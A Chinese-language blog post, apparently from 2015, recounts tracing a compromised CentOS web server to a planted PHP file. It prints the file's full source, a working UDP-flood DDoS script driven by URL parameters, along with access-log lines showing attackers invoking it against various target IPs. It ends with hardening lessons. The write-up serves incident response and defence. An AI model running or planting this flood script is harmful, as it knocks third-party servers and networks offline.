`
阅读更多

一次服务器抓马经历

情景

今天早上五点,收到监控宝的警告短信,说是网站M无法访问了。睡的正香,再说网站所在系统是Centos,重要数据每天都备份,应该很安全,也没有在意。倒头接着睡觉去了。

 

早上九点,机房负责人直接给我打来电话,说是全机房网络巨慢,单位的所有网站都打不开或打开的很慢。

2Centos服务器抓马经历

我赶紧赶了过去,查看了一下那里网络,发现175服务总是以50M/S速度向外发包,而175服务器正是网站M所在的服务器。 果断SSH连接175服务器,发现175服务器连接也很慢,连上之后top一下,查看cpu负载。

 

发现有两个apache进程占用cpu一直在40%以上,马上停止httpd 服务。
service httpd stop

停止httpd服务之后,再看网络状态,175服务器也不向外发包了,一切正常。

 

由此判断应该是175服务器挂了马,疯狂向外发包,挤占了全部机房带宽。

3抓马过程

175服务器是有硬件防火墙,只开http80跟ssh22端口,ssh不太可能被盗号,应该是通过web漏洞挂马。早上5点才中招的,木马程序文件应该在1天之内。

切到M站点根目录之下,查找最近一天内变动的文件,执行:

find ./ -mtime -1

果然,一个名为phzLtoxn.php的可疑文件出现在目录列表中。查看一下木马程序的创建者,执行:

ls -l phzLtoxn.php

这里发现文件就没了,难道这文件还会自我销毁?

 

4抓马小插曲

隔壁的管理员小黄注意到这个文件挂马文件,二话不说就删除了。我过去劈头批评教育了小黄一顿。见了木马程序就知道删删删删!难道木马程序不会再生成啊?你得顺藤摸瓜,不是一刀切。你得找到漏洞源头!删了没办法,再把httpd服务开启了,引狼入室,等等看能否再生成。

 

果然,半小时不到,新的phzLtoxn.php文件又生成了。查看了一下,文件创建者是apache,由此判断这肯定是通过网站漏洞上传的。

5分析木马文件,查看黑客意图

 

这里贴出phzLtoxn.php文件源代码,并作了简单注释,仅作学习之用:

<?php

//设置脚本运行时间

set_time_limit(999999);

//攻击目标服务器ip

$host = $_GET[‘host’];

//攻击目标服务器端口

$port = $_GET[‘port’];

//攻击时长

$exec_time = $_GET[‘time’];

//每次发送字节数

$Sendlen = 65535;

$packets = 0;

//设置客户机断开不终止脚本的执行

ignore_user_abort(TRUE);

//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性

if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {

if (StrLen($_GET[‘rat’]) <> 0) {

echo $_GET[‘rat’] . $_SERVER[“HTTP_HOST”] . “|” . GetHostByName($_SERVER[‘SERVER_NAME’]) . “|” . php_uname() . “|” . $_SERVER[‘SERVER_SOFTWARE’] . $_GET[‘rat’];

exit;

}

echo “Warning to: opening”;

exit;

}

//step2. 设定发字符串$out,这里是“AAAAAAAAAA…”

for ($i = 0; $i < $Sendlen; $i++) {

$out .= “A”;

}

$max_time = time() + $exec_time;

//step3. 进行攻击,使用udp向目标服务器狠狠发串串

while (1) {

$packets++;

if (time() > $max_time) {

break;

}

$fp = fsockopen(“udp://$host”, $port, $errno, $errstr, 5);

if ($fp) {

fwrite($fp, $out);

fclose($fp);

}

}

//step4. 攻击统计

echo “Send Host $host:$port<br><br>”;

echo “Send Flow $packets * ($Sendlen/1024=” . round($Sendlen / 1024, 2) . “)kb / 1024 = ” . round($packets * $Sendlen / 1024 / 1024, 2) . ” mb<br><br>”;

echo “Send Rate ” . round($packets / $exec_time, 2) . ” packs/s” . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . ” mb/s”;

?>

从以上代码可以看出,是个典型的DDOS攻击代码。黑客应该是把我们服务器当傀儡使用,组织大量傀儡服务器疯狂向目标服务器发包。黑客只需要打开浏览器,敲入http://www.yango.cn/phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以对目标服务器进行ddos攻击了。

查看httpd日志,分析下攻击ip源,执行

tail /data/apachelogs/access.log | grep phzLtonxn.php

183.12.75.240 – – [18/Dec/2015:10:38:46 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:38:56 +0800] “GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:38:58 +0800] “GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:39:08 +0800] “GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:39:12 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:28 +0800] “GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”


发现源ip来自多个,目标服务器ip也有多个,都属于很多国家,有点奇怪啊,为什么黑客没有针对性的攻击呢,无聊的黑客啊。

6找漏洞

1

重新审视了M站目录下文件权限。仅对几个必要的缓存、静态化的目录为apache开启了写权限,防止phzLtoxn.php文件再次生成。

2

重新开启httpd服务,使用360网站检测对H站进行漏洞检测,发现M站中有严重的远程执行漏洞,于是赶紧打了补丁。

3

补丁打好之后,顺便修改了系统用户、数据库用户、ftp用户的密码、M站系统用户密码。

观察几日之后,一切正常。

7小结一下几个安全原则

1

权限最小化

web目录一定做好权限,仅仅对apache开几个必要文件夹的写权限。

2

时刻注意补丁更新

经常使用第三方的网站安全检测工具,也可参考十大安全评估工具,如果网站系统使用了第三方常用程序,多注意一下乌云漏洞平台的信息。

3

中招后一定要补牢

别光删删删删,要查找中招源头,分析黑客目的。

3
3
分享到:
评论
2 楼 yango 2015-12-19  
第一次我也有这么感觉,就是我系统操作结束,喜欢reboot下,后来被批了一顿,后面就学的特别乖。   亲身经历现在换过来了。  
1 楼 hae 2015-12-19  
 
我过去劈头批评教育了小黄一顿。    有一种莫名的喜感

相关推荐

Global site tag (gtag.js) - Google Analytics